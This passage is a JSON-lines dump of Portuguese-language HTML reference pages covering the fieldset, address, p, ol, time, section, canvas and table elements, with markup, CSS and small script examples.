10px;\n }\n\n input[type=\"text\"],\n fieldset.elist,\n select,\n fieldset.elist > legend {\n height: 32px;\n font-family: Tahoma;\n font-size: 14px;\n }\n\n input[type=\"text\"]:hover,\n textarea:hover,\n select:hover,\n fieldset.elist:hover > legend {\n background-color: #ddddff;\n }\n\n select {\n padding: 4px 20px;\n }\n\n option {\n height: 30px;\n padding: 5px 4px;\n }\n\n option:not(:checked),\n textarea:focus {\n background-color: #ffcccc;\n }\n\n fieldset.elist > legend:after,\n fieldset.elist label {\n height: 28px;\n }\n\n input[type=\"text\"],\n fieldset.elist {\n width: 316px;\n }\n\n input[type=\"text\"]:focus {\n background: #ffcccc\n url(\"data:image/gif;base64,R0lGODlhEAAQANU5APnoxuvr6+uxPdvb2+rq6ri4uO7qxunp6dPT06SHV+/rx8vLy+nezLO0sbe3t9Ksas+qaaCEV8rKyp2dnf39/QAAAK6ursifZHFxcc/Qzu3mxYyMjExCJnV1dc6maO7u7o+Pj2tXNoaGhtfDpKCDVu3lxM+tcaKEV9bW1qOFVWNjY8KrisTExNra2nBbObGxsby8vO/mu7Kyso9ZAuzs7MSgAIiKhf///8zMzP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADkALAAAAAAQABAAAAaXwJxwSCwOYzWkMpkkZmoAqDQaJdpqAqw2m53NRjlboAarFczomcE0C99o8DgNMVM8Tm3bbYDr9x11DwkzDG5yc2oQJIRCenx/MxoeETM2Q3pxATMlF4MYlo17OAsdLispMyAioIY0BzMcITMTKBasjgssFTMqGxItMjYUoTQBBAQHxgE0wZcfMtDRMi/QrA022NnaNg1CQQA7\")\n no-repeat 2px center !important;\n }\n\n input[type=\"text\"]:focus,\n textarea:focus,\n select:focus,\n fieldset.elist > legend {\n border: 2px #ccaaaa solid;\n }\n\n fieldset {\n border: 2px #af3333 solid;\n border-radius: 10px;\n }\n\n /\\* Editable [pseudo]select (i.e. fieldsets with [class=elist]) \\*/\n\n fieldset.elist {\n display: inline-block;\n position: relative;\n vertical-align: middle;\n overflow: visible;\n padding: 0;\n margin: 0;\n border: none;\n }\n\n fieldset.elist ul {\n position: absolute;\n width: 100%;\n max-height: 320px;\n padding: 0;\n margin: 0;\n overflow: hidden;\n background-color: transparent;\n }\n\n fieldset.elist:hover ul {\n background-color: #ffffff;\n border: 2px #af3333 solid;\n left: 2px;\n overflow: auto;\n }\n\n fieldset.elist ul > li {\n list-style-type: none;\n background-color: transparent;\n }\n\n fieldset.elist label {\n display: none;\n width: 100%;\n }\n\n fieldset.elist input[type=\"text\"] {\n width: 100%;\n height: 30px;\n line-height: 30px;\n border: none;\n background-color: transparent;\n border-radius: 0;\n }\n\n fieldset.elist > legend {\n display: block;\n margin: 0;\n padding: 0 0 0 5px;\n position: absolute;\n width: 100%;\n cursor: default;\n background-color: #ccffcc;\n line-height: 30px;\n font-style: italic;\n }\n\n fieldset.elist:hover > legend {\n position: relative;\n overflow: hidden;\n }\n\n fieldset.elist > legend:after {\n width: 20px;\n content: \"\\2335\";\n float: right;\n text-align: center;\n border-left: 2px #cccccc solid;\n font-style: normal;\n cursor: default;\n }\n\n fieldset.elist:hover > legend:after {\n background-color: #99ff99;\n }\n\n fieldset.elist ul input[type=\"radio\"] {\n display: none;\n }\n\n fieldset.elist input[type=\"radio\"]:checked ~ label {\n display: block;\n width: 292px;\n background-color: #ffffff;\n }\n\n fieldset.elist:hover input[type=\"radio\"]:checked ~ label {\n width: 100%;\n }\n\n fieldset.elist:hover label {\n display: block;\n height: 100%;\n }\n\n fieldset.elist label:hover {\n background-color: #3333ff !important;\n }\n\n fieldset.elist:hover input[type=\"radio\"]:checked ~ label {\n background-color: #aaaaaa;\n }\n </style>\n  </head>\n  <body>\n    <form method=\"get\" action=\"test.php\">\n      <fieldset>\n        <legend>Order a T-Shirt</legend>\n        <p>Write your name (simple textbox): <input type=\"text\" /></p>\n        <p>\n          Choose your size (simple select):\n          <select>\n            <option value=\"s\">Small</option>\n            <option value=\"m\">Medium</option>\n            <option value=\"l\">Large</option>\n            <option value=\"xl\">Extra Large</option>\n          </select>\n        </p>\n        <div>\n          What address do you want to use? (editable pseudoselect)\n          <fieldset class=\"elist\">\n            <legend>Address&hellip;</legend>\n            <ul>\n              <li>\n                <input\n type=\"radio\"\n value=\"1\"\n id=\"address-switch\\_1\"\n checked /><label for=\"address-switch\\_1\"\n ><input\n type=\"text\"\n value=\"19 Quaker Ridge Rd. Bethel CT 06801\"\n /></label>\n              </li>\n              <li>\n                <input type=\"radio\" value=\"2\" id=\"address-switch\\_2\" /><label\n for=\"address-switch\\_2\"\n ><input\n type=\"text\"\n value=\"1000 Coney Island Ave. Brooklyn NY 11230\"\n /></label>\n              </li>\n              <li>\n                <input type=\"radio\" value=\"3\" id=\"address-switch\\_3\" /><label\n for=\"address-switch\\_3\"\n ><input\n type=\"text\"\n value=\"2962 Dunedin Cv. Germantown TN 38138\"\n /></label>\n              </li>\n              <li>\n                <input type=\"radio\" value=\"4\" id=\"address-switch\\_4\" /><label\n for=\"address-switch\\_4\"\n ><input\n type=\"text\"\n value=\"915 E 7th St. Apt 6L. Brooklyn NY 11230\"\n /></label>\n              </li>\n            </ul>\n          </fieldset>\n        </div>\n        <p>\n          Write a comment:<br />\n          <textarea></textarea>\n        </p>\n        <p>\n          <input type=\"reset\" value=\"Reset\" />\n          <input type=\"submit\" value=\"Send!\" />\n        </p>\n      </fieldset>\n    </form>\n  </body>\n</html>\n```\n\n\nVeja este exemplo em ação\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-fieldset-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nErros\n-----\n\n* Erro do Firefox 504622 - Fieldsets nunca diminui abaixo de sua largura min-intrinsic\n* WebKit bug 123507 - `min-width: `-webkit-min-content`` sobre fieldset\n* StackOverflow discussão com soluções alternativas para os bugs acima\nVeja também\n-----------\n\n* Outros elementos de formlários relacionados: `<form>` (en-US), `<legend>`, `<label>`, `<button>`, `<select>`, `<datalist>`, `<optgroup>`, `<option>`, `<textarea>`, `<input>`, `<output>`, `<progress>` e `<meter>`.\n* Artigo de como usar o fieldset para ajudar na validação do seu formulário html"}
{"title":"<address> - HTML: Linguagem de Marcação de Hipertexto","text":"<address>\n=========\n\nResumo\n------\n\nO **elemento HTML `<address>`** fornece informações de contato para seu ancestral `<article>` ou `<body>` mais próximo; no segundo caso, ele se aplica ao documento inteiro.\n\nA informação de contato fornecida por um conteúdo do elemento `<address>` pode tomar qualquer forma que é apropriada para o contexto, e pode incluir qualquer tipo de informação de contato necessária, como endereço físico, URL, email, telefone, mídia social, coordenadas geográficas, por aí vai. Deve incluir o nome da pessoa, grupo, ou organização para qual as informações de contato se referem.\n\n`<address>` pode ser usado em uma variedade de contextos, como fornecer informação de contato de uma empresa no header da página, ou indicar o autor de um artigo incluindo um elemento `<address>` dentro do `<article>`.\n\n* *Categoria de conteúdo (en-US)* Conteúdo de fluxo (en-US), conteúdo palpável.\n* *Conteúdo permitido*Conteúdo de fluxo (en-US), mas sem nenhum elemento <address> aninhado, e sem conteúdo de cabeçalho (`<hgroup>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US)), e nem conteúdo de seção como (`<article>`, `<aside>`, `<section>`, `<nav>`), e sem`<header>` ou o elemento `<footer>`.\n* *Omissão de tag* None, both the starting and ending tag are mandatory.\n* *Elementos-pai permitidos* Qualquer elemento que aceite conteúdo de fluxo (en-US), exceto os elementos <address> (de acordo com o princípio lógico da simetria, se a tag <address>, como pai, não pode ter elemento <address> como filho, então o mesmo conteúdo <address> não pode ter tag <address> como pai).\n* \n* *Regras ARIA permitidas* Nenhuma\n* *Interface DOM* `HTMLElement` (en-US). Antes do Gecko 2.0 (Firefox 4), Gecko implementava este elemento usando a interface `HTMLSpanElement`\nAtributos\n---------\n\nEste elemento inclui somente os atributos globais (en-US).\n\nNotas de uso\n------------\n\n* Para representar um endereço arbitrário, um que não é relacionado à informação para contato, use um elemento `<p>` ao invés do elemento <address>.\n* Este elemento não deve conter mais informação além da informação de contato, como uma data de publicação (a qual pertence ao elemento `<time>`).\n* Tipicamente um elemento <address> pode ser posicionado dentro do elemento `<footer>` da seção atual, se houver um.\nExemplo\n-------\n\n\n```html\n<address>\n  Voce pode contatar o autor em\n  <a href=\"http://www.somedomain.com/contact\">www.somedomain.com</a>.<br />\n  Se encontrar qualquer bug, por favor\n  <a href=\"mailto:webmaster@somedomain.com\">contate o administrador do site</a\n >.<br />\n  Você tambem pode querer nos visitar:<br />\n  Mozilla Foundation<br />\n  1981 Landings Drive<br />\n  Building K<br />\n  Mountain View, CA 94043-0801<br />\n  USA\n</address>\n```\n\n\nEmbora o elemento `address` exiba o texto com o mesmo estilo padrão que os elementos `<i>` ou `<em>`, ele é mais apropriado de ser usado quando se lida com informação de contato, já que ele fornece informação semântica adicional.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-address-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Outros elementos relacionados à seção: `<body>`, `<nav>`, `<article>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<footer>`, `<section>`, `<header>`;\n* Seções e delineamento de um documento HTML5."}
{"title":"<p> O elemento Parágrafo - HTML: Linguagem de Marcação de Hipertexto","text":"<p> O elemento Parágrafo\n========================\n\nO **elemento HTML** **`<p>`** representa um parágrafo. Em mídias visuais, parágrafos são representados como blocos indentados de texto com a primeira letra avançada e separados por linhas em branco. Já em HTML, parágrafos são usados para agrupar conteúdos relacionados de qualquer tipo, como imagens e campos de um formulário.\n\nParágrafos são Elementos block-level, e fecharão automaticamente caso outro Elemento block-level inicie antes da tag de fechamento `</p>`. Veja \"Omissão de tag\" abaixo.\n\n* *Categorias de conteúdo*\nConteúdos de fluxo, conteúdos palpáveis.\n* *Conteúdo permitido*Conteúdo frasal.\n* *Omissão de tag* A tag de abertura é obrigatória. A tag de fechamento pode ser omitida caso o elemento `<p>` seja imediatamente sucedido pelos elementos `<address>`, `<article>`, `<aside>`, `<blockquote>`, `<div>`, `<dl>`, `<fieldset>`, `<footer>`, `<form>` (en-US), `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<header>`, `<hr>`, `<menu>` (en-US), `<nav>`, `<ol>`, `<pre>`, `<section>`, `<table>`, `<ul>`, ou por outro elemento `<p>`, ou, caso não haja mais conteúdo no elemento pai e o elemento pai não for um elemento `<a>`.\n* *Elementos pai permitidos* Qualquer elemento que aceite conteúdo de fluxo.\n* *Interface DOM* `HTMLParagraphElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui atributos globais.\n\n> \n> **Note:** **Obs.:** O atributo `align` nas tags `<p>` está obsoleto e não deve ser usado.\n> \n> \n> \n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<p>\n  Este é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto.\n  Este é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto.\n</p>\n\n<p>\n  Este é o segundo parágrafo do texto. Este é o segundo parágrafo do texto. Este\n  é o segundo parágrafo do texto. Este é o segundo parágrafo do texto.\n</p>\n```\n\n### Resultado\n\nEstilizando Parágrafos\n----------------------\n\n### HTML\n\n\n```html\n<p>\n  Parágrafos separados por linhas em branco são mais legíveis. Porém, também\n  podemos distinguir parágrafos indentando suas primeiras linhas. Uma abordagem\n  que ocupa menos espaço e é usada para economizar papel quando impresso.\n</p>\n\n<p>\n  Em textos que serão editados, como trabalhos escolares e rascunhos, usamos\n  tanto as linhas em branco quanto a indentação para distinguirmos cada\n  parágrafo. Já em publicações, usar ambas é considerado redundante e\n  amadoresco.\n</p>\n\n<p>\n  Em textos arcaicos usava-se o caractere especial: ¶, o <i>caldeirão</i>, para\n  separar parágrafos. Atualmente, esta abordagem é considerada claustrofóbica e\n  ilegível.\n</p>\n\n<p>\n  Será mesmo que é ilegível? Clique para visualizar:\n  <button data-toggle-text=\"Que horrível! Mudar de volta!\">\n    Usar caldeirão nos parágrafos\n  </button>\n</p>\n```\n\n### CSS\n\n\n```css\np {\n  margin: 0;\n  text-indent: 3ch;\n}\n\np.caldeirao {\n  text-indent: 0;\n  display: inline;\n}\np.caldeirao + p.caldeirao::before {\n  content: \" ¶ \";\n}\n```\n\n### JavaScript\n\n\n```js\ndocument.querySelector(\"button\").addEventListener(\"click\", function (event) {\n  document.querySelectorAll(\"p\").forEach(function (paragraph) {\n    paragraph.classList.toggle(\"caldeirao\");\n  });\n  var newButtonText = event.target.dataset.toggleText;\n  var oldText = event.target.innerText;\n  event.target.innerText = newButtonText;\n  event.target.dataset.toggleText = oldText;\n});\n```\n\n### Result\n\nConsiderações acerca da Acessibilidade\n--------------------------------------\n\nSubdividir um conteúdo em parágrafos torna um texto mais acessível. Leitores de tela e outras tecnologias assistivas providenciam atalhos que permitem a navegação entre parágrafos. Possibilitando, então, uma leitura rápida do texto.\n\nUtilizar elementos `<p>` vazios para adicionar linhas em branco entre parágrafos é uma abordagem problemática para os que dependem das tecnologias leitoras de tela. O leitor anunciará a existência de um parágrafo, mas não lerá nenhum conteúdo, pois não há. Isso confunde e frustra os que dependem dos leitures de tela.\n\nSe desejas mais espaço, use CSS propriedades como `margin` para recriar o efeito:\n\n\n```css\np {\n  margin-bottom: 2em; // aumenta o espaço em branco após um parágrafo\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-p-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<hr>`\n* `<br>`"}
{"title":"<ol> - HTML: Linguagem de Marcação de Hipertexto","text":"<ol>\n====\n\nSumário\n-------\n\nO **Elemento HTML <ol>** (ou *Elemento HTML de lista ordenada*) representa uma lista de itens ordenados. De forma característica esses itens ordenados em uma lista são mostrados com uma contagem que os precede, que pode ser de qualquer tipo, como numerais, letras, algarismos romanos, ou simples símbolos. Esse modelo numerado não é definido na descrição html da página, mas na folha de estilos CSS associada, pela propriedade `list-style-type` (en-US).\n\nNão há limitação para a profundidade e a imbricação das listas definidas com os elementos `<ol>` e `<ul>`.\n\n**Nota:** Ambos os elementos `<ol>` e `<ul>`, representam uma lista de itens. Diferem porque, com o elemento `<ol>`, a ordem é significativa. Como regra de ouro para determinar qual deles usar, tente mudar a ordem dos itens da lista; se a significação for alterada, o elemento `<ol>` deve ser utilizado, senão o elemento `<ul>` é adequado.\n\n* *Categorias de conteúdo (en-US)*Flutuante (en-US) e no caso dos elementos filhos de `<ol>` incluirem pelo menos um elemento de conteúdo `<li>` evidente.\n* *Conteúdo permitido* Zero ou mais elementos `<li>`\n* *Omissão de etiqueta (Tag)* None, both the starting and ending tag are mandatory.\n* *Elementos pai permitidos* Qualquer elemento que aceite conteúdo flutuante (en-US).\n* *Interface DOM* `HTMLOListElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`compact` \nDeprecated\n\nEste atributo boleano sugere que a lista deve ser renderizada em um estilo compacto. A interpretação deste atributo depende do perfil de navegação (*user agent*) e não funciona em todos os navegadores.\n\n**Nota:** Não utilize este atributo, pois ele se tornou obsoleto. O elemento `<ol>` deve ser estilizado usando CSS. Para dar um efeito semelhante ao do atributo compacto, a propriedade CSS `line-height` (en-US) pode ser utilizada com o valor de 80%.\n\n`reversed`\n\nEste atributo boleano especifica que as partes desta lista serão especificadas em ordem reversa, isto é, a menos importante será listada primeiro.\n\n`start`\n\nEste atributo inteiro especifica o valor inicial para a numeração dos itens da lista. Embora o tipo de ordenação dos elementos possa ser com algarismos romanos, tal como XXXI, ou letras, o valor inicial sempre é representado como um inteiro. Para iniciar a contagem a partir da letra \"C\", utilize <ol start=\"3\">.\n\n**Nota:** Este atributo, obsoleto na HTML4, foi reintroduzido na HTML5.\n\n`type`\n\nIndica o tipo de numeração:\n\n* `'a'` indica letras minúsculas,\n* `'A'` indica letras maiúsculas,\n* `'i'` indica algarismos romanos minúsculos,\n* `'I'` indica algarismos romanos maiúsculos,\n* e `'1'` indica números (padrão).\n\nO tipo de marcação é usado na lista inteira, a menos que um atributo `type` diferente seja utilizado dentro do elemento `<li>`.\n\n**Nota:** Este atributo, obsoleto na HTML4, foi reintroduzido na HTML5. A menos que o valor do número na lista seja importante, a propriedade CSS `list-style-type` (en-US) deve ser usada em seu lugar.\n\nExemplos\n--------\n\n### Exemplo simples\n\n\n```html\n<ol>\n  <li>primeiro item</li>\n  <li>segundo item</li>\n  <li>terceiro item</li>\n</ol>\n```\n\n\nA saída HTML acima será:\n\n1. primeiro item\n2. segundo item\n3. terceiro item\n### Usando o atributo *start*\n\n\n```html\n<ol start=\"7\">\n  <li>primeiro item</li>\n  <li>segundo item</li>\n  <li>terceiro item</li>\n</ol>\n```\n\n### Listas aninhadas\n\n\n```html\n<ol>\n  <li>primeiro item</li>\n  <li>\n    segundo item\n    <!-- Veja que a tag de fechamento </li> não é colocada aqui! -->\n    <ol>\n      <li>segundo item primeiro subitem</li>\n      <li>segundo item segundo subitem</li>\n      <li>segundo item terceiro subitem</li>\n    </ol>\n  </li>\n  <!-- Aqui está a tag de fechamento </li> -->\n  <li>terceiro item</li>\n</ol>\n```\n\n\nA saída HTML acima será:\n\n1. primeiro item\n2. segundo item\n    1. segundo item primeiro subitem\n    2. segundo item segundo subitem\n    3. segundo item terceiro subitem\n3. terceiro item\n### <ol> e <ul> aninhados\n\n\n```html\n<ol>\n  <li>primeiro item</li>\n  <li>\n    segundo item\n    <!-- Observe que a tag de fechamento </li> não é colocada aqui! -->\n    <ul>\n      <li>segundo item primeiro subitem</li>\n      <li>segundo item segundo subitem</li>\n      <li>segundo item terceiro subitem</li>\n    </ul>\n  </li>\n  <!-- Aqui está a tag de fechamento </li> -->\n  <li>terceiro item</li>\n</ol>\n```\n\n\nA saída HTML acima será:\n\n1. primeiro item\n2. segundo item\n    * segundo item primeiro subitem\n    * segundo item segundo subitem\n    * segundo item terceiro subitem\n3. terceiro item\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-ol-element |\n\nCompatibilidede em navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos HTML relacionados à lista: `<ul>`, `<li>`, `<menu>` (en-US) e o obsoleto `<dir>`;\n* Propriedades CSS que podem ser especialmente úteis para determinar o modelo do elemento`<ol>`:\n    + a propriedade `list-style` (en-US), conveniente para escolher a forma como os ordinais são exibidos,\n    + contadores CSS (en-US), útil para gerenciar listas complexas aninhadas,\n    + a propriedade `line-height` (en-US), proficiente para simular o atributo obsoleto `compact`,\n    + a propriedade `margin`, aplicável para controlar a indentação da lista."}
{"title":"<time> - HTML: Linguagem de Marcação de Hipertexto","text":"<time>\n======\n\nResumo\n------\n\nO elemento HTML *time* (`<time>`) representa o tempo tanto no formato de 24 horas ou como uma data precisa no calendário Gregoriano (com informações opcionais de tempo e fuso horário)\n\nEste elemento é destinado a apresentar datas e horas no dispositivo em um formato legível. Isto pode ser útil aos agentes do usuário em oferecer qualquer programação de eventos ao calendário do utilizador.\n\n> \n> **Note:** **Notas de uso:** Este elemento não é adequado por exemplo, quando uma data específica não pode ser calculada, e nem deveria ser utilizado em datas anteriores ao calendário Gregoriano (devido as complicações com os cálculos dessas datas).\n> \n> \n> \n\n> \n> **Note:** **Nota de estatus:** Este elemento foi concebido e está em discussão desde 2011 (http://blog.whatwg.org/weekly-time-data)\n> \n> \n> \n\nContexto de uso\n---------------\n\n| Categorias de conteúdo (en-US) | flow content (en-US), phrasing content (en-US) |\n| --- | --- |\n| Permitted content | Phrasing content (en-US), but no descendant `time` elements. |\n| Tag omission | None, both the start tag and the end tag are mandatory. |\n| Permitted parent elements | Any element that accepts phrasing content. |\n| Normative document | HTML5, section 4.6.10 |\n\nAtributos\n---------\n\nComo todo outro elemento HTML, este elemento suporta os atributos globais (en-US).\n\n`datetime`\n\nEsse atributo indica a hora e a data do elemento e deve ser uma data válida com uma string de tempo opcional. Se o valor não puder ser analisado como uma data com uma string de tempo opcional, o elemento não possui um timestamp associado.\n\n`pubdate`\n\n(This feature is still being discussed by the WHATWG and the W3C HTML5 Working Group.) This Boolean attribute specifies that the date and time given by the element is the publication date of a document. The document it applies to is either the nearest ancestor article element or the document as a whole (if there is no ancestor article element). If true, the `time` element must have a corresponding date. Additionally, each `time` element indicating a publication date must be the only `time` element that does so for that document.\n\nDOM interface\n-------------\n\nThis element implements the `HTMLTimeElement` (en-US) interface.\n\nExemplos\n--------\n\n### Simple example\n\n\n```html\n<p>The concert starts at <time>20:00</time>.</p>\n```\n\n\nAbove HTML will output:\n\nThe concert starts at 20:00.\n\n### `pubdate` example\n\n\n```html\n<article>\n  <p>This article was created on <time pubdate>2011-01-28</time>.</p>\n</article>\n```\n\n\nAbove HTML will output:\n\nThis article was created on 2011-01-28.\n\n### `datetime` example\n\n\n```html\n<p>\n  The concert took place on <time datetime=\"2001-05-15 19:00\">May 15</time>.\n</p>\n```\n\n\nAbove HTML will output:\n\nThe concert took place on May 15.\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The `time` element (HTML5 specification)"}
{"title":"<section> - HTML: Linguagem de Marcação de Hipertexto","text":"<section>\n=========\n\nO **elemento HTML `<section>`** representa uma seção genérica contida em um documento HTML, geralmente com um título, quando não existir um elemento semântico mais específico para representá-lo.\n\nPor exemplo, um menu de navegação deve estar dentro um elemento `<nav>`, mas uma lista de resultados de pesquisa ou a exibição de um mapa e seus controles não possuem elementos específicos, e podem ser colocados dentro de uma <section>.\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteúdo de fluxo\n ,\n conteúdo de seção, conteúdo palpável.\n  |\n| Conteúdo permitido | Conteúdo de fluxo. |\n| Omissão de tags | Sem omissão de tags |\n| Tags-pai permitidas | \n Qualquer elemento que aceite\n conteúdo de fluxo. Note que um elemento `<section>` não deve\n ser um descendente de um elemento `<address>`.\n  |\n| Regras ARIA permitidas | `alert`, `alertdialog (en-US)`,\n `application (en-US)`, `banner (en-US)`,\n `complementary (en-US)`,\n `contentinfo (en-US)`, `dialog (en-US)`,\n `document (en-US)`, `feed (en-US)`,\n `log (en-US)`, `main (en-US)`,\n `marquee (en-US)`, `navigation (en-US)`,\n `search (en-US)`, `status (en-US)`,\n `tabpanel (en-US)` |\n| Interface DOM | `HTMLElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui apenas os atributos globais.\n\nNotas de uso\n------------\n\n* Cada `<section>` deve ser identificado, geralmente incluindo um cabeçalho (elemento `<h1>` (en-US)-`<h6>` (en-US)) como um filho do elemento `<section>`.\n* Se faz sentido distribuir separadamente o conteúdo de um elemento `<section>`, use um elemento `<article>` em seu lugar.\n* Não use o elemento `<section>` como um container genérico; para isso que a `<div>` serve, especialmente quando a seção é apenas com propósito de estilização. Uma regra de ouro é ,\"usar quando uma seção deve aparecer logicamente na estrutura de um documento\".\nExemplo 1\n---------\n\n### Antes\n\n\n```html\n<div>\n  <h1>Cabeçalho</h1>\n  <p>Um monte de conteúdo incrível</p>\n</div>\n```\n\n### Depois\n\n\n```html\n<section>\n  <h1>Cabeçalho</h1>\n  <p>Um monte de conteúdo incrível</p>\n</section>\n```\n\nExemplo 2\n---------\n\n### Antes\n\n\n```html\n<div>\n  <h2>Cabeçalho</h2>\n  <img src=\"passaro.jpg\" alt=\"pássaro\" />\n</div>\n```\n\n### Depois\n\n\n```html\n<section>\n  <h2>Cabeçalho</h2>\n  <img src=\"passaro.jpg\" alt=\"pássaro\" />\n</section>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-section-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elemtnos relacionados: `<body>`, `<nav>`, `<article>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<header>`, `<footer>`, `<address>`;\n* Seções e estrurura do um documento HTML5."}
{"title":"canvas - HTML: Linguagem de Marcação de Hipertexto","text":"canvas\n======\n\nSumário\n-------\n\nO elemento HTML *Canvas* (`<canvas>`) pode ser utilizado para desenhar gráficos utilizando scripts (geralmente JavaScript). Por exemplo, além de desenhar gráficos, ele pode ser usado para fazer composições de fotos e também para animações. Você poderá colocar conteúdos alternativos dentro do bloco `<canvas>`. Este conteúdo será renderizado também em navegadores antigos e em navegadores com JavaScript desabilitado.\n\nPara mais artigos sobre canvas, veja canvas topic page.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Transparente, tanto phrasing content ou flow content. |\n| --- | --- |\n| Omissão de tags | Nenhuma, tanto a tag de início quanto a de fim devem ser incluídas. |\n| Elementos \"pai\" permitidos | Qualquer elemento que aceite phrasing content ou flow content. |\n| Documento normativo | HTML 5, section 4.8.10 |\n\nAtributos\n---------\n\nComo qualquer outro elemento HTML, este também tem global attributes.\n\n`width`\n\nA largura do espaço em pixels CSS. O padrão é 300.\n\n`height`\n\nA altura do espaço em pixels CSS. O padrão é 150.\n\n\n**Nota:** The displayed size of the canvas can be changed using a stylesheet. The image is scaled during rendering to fit the styled size.\n\nInterface DOM\n-------------\n\n* HTMLCanvasElement\nExemplo\n-------\n\n\n```html\n<canvas id=\"canvas\" width=\"300\" height=\"300\">\n  Desculpe-me, seu navegador não suporta o elemento &lt;canvas&gt;.\n</canvas>\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* MDN canvas portal\n* Um canvas tutorial\n* Canvas cheat sheet\n* Canvas-related demos"}
{"title":"<table>: O elemento Table - HTML: Linguagem de Marcação de Hipertexto","text":"<table>: O elemento Table\n=========================\n\nO elemento **`<table>`** HTML representa dados tabulares — isto é, informações apresentadas em uma tabela bidimensional composta por linhas e colunas de células contendo dados .\n\nExperimente\n-----------\n\nContexto de uso\n---------------\n\n|  |  |\n| --- | --- |\n| Categoria de conteúdo | Fluxo de conteúdo (en-US) |\n| Conteúdo permitido | Nesta ordem:\n 1. um elemento `<caption>` opcional,\n2. zero ou mais `<colgroup>` (en-US) elementos,\n3. um elemento `<thead>` (en-US) opcional,\n4. uma das duas alternativas:\n    * zero ou mais elementos `<tbody>` (en-US)\n    * um ou mais elementos `<tr>` (en-US)\n5. um elemento `<tfoot>` opcional\n |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Elementos pais permitidos | Qualquer elemento que aceite fluxo de conteúdo |\n| Função ARIA implícita | `table (en-US)` |\n| Permitted ARIA roles | Any |\n| Interface DOM | `HTMLTableElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n### Atributos depreciados\n\n`align` \nDeprecated\n\nEste atributo enumerado (en-US) indica como a tabela deve ser alinhada dentro do documento que a contém. Pode ter os seguintes valores:\n\n* `left`: a tabela é exibida no lado esquerdo do documento;\n* `center`: a tabela é exibida no centro do documento;\n* `right`: a tabela é exibida no lado direito do documento.\n\nDefina `margin-left` (en-US) e `margin-right` (en-US) como `auto` ou `margin` como `0 auto` para obter um efeito que é semelhante ao atributo align.\n\n`bgcolor` \nDeprecated\n\nA cor de fundo da tabela. É um código RGB hexadecimal de 6 dígitos (en-US), prefixado por um '`#`'. Uma das [palavras-chave de cor] predefinidas (/pt-BR/docs/Web/CSS/named-color) também pode ser usada.\n\nPara obter um efeito semelhante, use a propriedade CSS `background-color`.\n\n`border` \nDeprecated\n\nEste atributo inteiro define, em pixels, o tamanho do quadro ao redor da tabela. Se definido como 0, o atributo `frame` é definido como void.\n\nPara obter um efeito semelhante, use a propriedade abreviada CSS `border` (en-US).\n\n`cellpadding` \nDeprecated\n\nEste atributo define o espaço entre o conteúdo de uma célula e sua borda, exibida ou não. Se o comprimento do preenchimento da célula for definido em pixels, esse espaço de tamanho de pixel será aplicado a todos os quatro lados do conteúdo da célula. Se o comprimento for definido usando um valor percentual, o conteúdo será centralizado e o espaço vertical total (superior e inferior) representará este valor. O mesmo vale para o espaço horizontal total (esquerda e direita).\n\nPara obter um efeito semelhante, aplique a propriedade `border-collapse` (en-US) ao elemento `<table>`, com seu valor definido para recolher, e a propriedade `padding` aos elementos `<td>` (en-US).\n\n`cellspacing` \nDeprecated\n\nEste atributo define o tamanho do espaço entre duas células em um valor percentual ou pixels. O atributo é aplicado horizontal e verticalmente, ao espaço entre o topo da tabela e as células da primeira linha, a esquerda da tabela e a primeira coluna, a direita da tabela e a última coluna e a parte inferior da tabela e a última linha.\n\nPara obter um efeito semelhante, aplique a propriedade `border-spacing` (en-US) ao elemento `<table>`. `border-spacing` não tem nenhum efeito se `border-collapse` (en-US) estiver definido para recolher.\n\n`frame` \nDeprecated\n\nEste atributo enumerado define qual lado do quadro ao redor da tabela deve ser exibido.\n\nPara obter um efeito semelhante, use as propriedades `border-style` (en-US) e `border-width` (en-US).\n\n`rules` \nDeprecated\n\nEste atributo enumerado define onde as rules, ou seja, as linhas, devem aparecer em uma tabela. Pode ter os seguintes valores:\n\n* `none`, que 